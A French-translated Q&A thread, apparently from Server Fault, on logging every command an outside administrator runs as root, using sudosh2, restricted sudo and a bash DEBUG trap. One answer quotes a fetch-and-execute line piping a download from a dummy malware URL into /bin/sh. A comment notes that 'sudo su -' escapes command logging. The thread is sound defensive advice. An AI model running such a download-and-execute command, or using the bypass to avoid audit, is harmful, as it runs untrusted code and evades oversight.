Enregistrer chaque commande exécutée à partir de la racine

16

Je veux donner accès à mon serveur racine à un administrateur système externe, mais je veux être sûr de vérifier ce qu'il fait sur mon serveur, par exemple en copiant des données que je ne veux pas qu'ils fassent et ainsi de suite. Je voudrais également prendre une trace de tout fichier consulté, même en lecture seule et non modifié.

Comment puis je faire ça?

cedivad
la source
1
Voir cette question connexe: serverfault.com/questions/181131/… ?
Stefan Lasiewski

Réponses:

21

Faites confiance, mais vérifiez!

Découvrez sudosh2 . sudosh2 est fourni par les ports FreeBSD. Les packages sont disponibles pour RedHat et Ubuntu. Voici la description de leur site Web:

sudosh est un filtre shell d'audit et peut être utilisé comme shell de connexion. Sudosh enregistre toutes les frappes et sorties et peut lire la session comme un magnétoscope.

Sudosh vous permettra de rejouer la session de l'utilisateur, ce qui vous permettra de voir toutes les entrées et sorties telles que l'utilisateur les a vues. Vous voyez tout, les frappes, les fautes de frappe, les espaces arrière, ce qu'ils ont édité vi, la sortie de wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, etc.

Il est possible d'envoyer des journaux sudosh à syslog, afin qu'ils puissent être stockés sur un serveur syslog central loin du système.

Notez que sudosh2 est un remplacement de sudosh, qui a été abandonné par son auteur

Travaillez-vous dans un établissement universitaire où les utilisateurs insistent pour avoir des privilèges de superutilisateur? Ou travaillez-vous dans une entreprise et souhaitez-vous permettre aux utilisateurs d'avoir des privilèges de superutilisateur sur leurs propres machines virtuelles? Cela pourrait être la solution pour vous.

Stefan Lasiewski
la source
1
Excellent - je n'avais jamais entendu parler de sudosh.
EEAA
2
Quel est ce «magnétoscope» dont vous parlez?
Tom Marthenal
2
C'est comme un 8 pistes, mais vous pouvez enregistrer vos propres émissions de télévision!
Stefan Lasiewski
22

Ne lui donnez pas l'accès root. Au lieu de cela, donnez-lui un compte d'utilisateur non privilégié et demandez-lui de faire tout son travail sudo, qui enregistrera toutes ses commandes.

Gardez à l' esprit que si cette personne a des intentions mal et vous lui donner pleins privilèges de Sudo, il va trouver un moyen de mener à bien ces mauvaises intentions sans ces commandes sont enregistrées. Dans ce cas, ne lui accordez que l'accès aux commandes spécifiques dont il a besoin pour faire son travail.

EEAA
la source
je veux le rendre aussi difficile que possible sans faire de ma vie une douleur. Merci d'avoir répondu.
cedivad
Vous pouvez simplement exécuter sudo su -et avoir un shell racine qui ne sera pas enregistré (sauf que vous l'avez démarré). C'est ce que je tape normalement lorsque je veux faire plus d'une seule commande en tant que root en une seule fois, ou si je veux que la tabulation soit complétée dans les répertoires que les utilisateurs normaux ne peuvent pas lire.
rjmunro
@rjmunro - C'est exactement pourquoi j'ai émis la mise en garde de ne lui donner que l'accès spécifique dont il a besoin. Vous pouvez explicitement interdire sudo su -si vous le souhaitez.
EEAA
1

Je ne connais pas sudosh2, mais j'ai mis ce qui suit dans mon .bashrcpour enregistrer toutes les commandes que je tape dans un bashshell dans le fichier ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Ce qui précède établit un piège DEBUG, qui est exécuté juste avant l'exécution d'une commande ordinaire. La fonction callerintégrée est utilisée pour tester si la commande est tapée dans un shell interactif ou exécutée via quelque chose comme .bashrc. La valeur ${BASH_COMMAND}contient la commande en cours d'exécution.

Richard Hansen
la source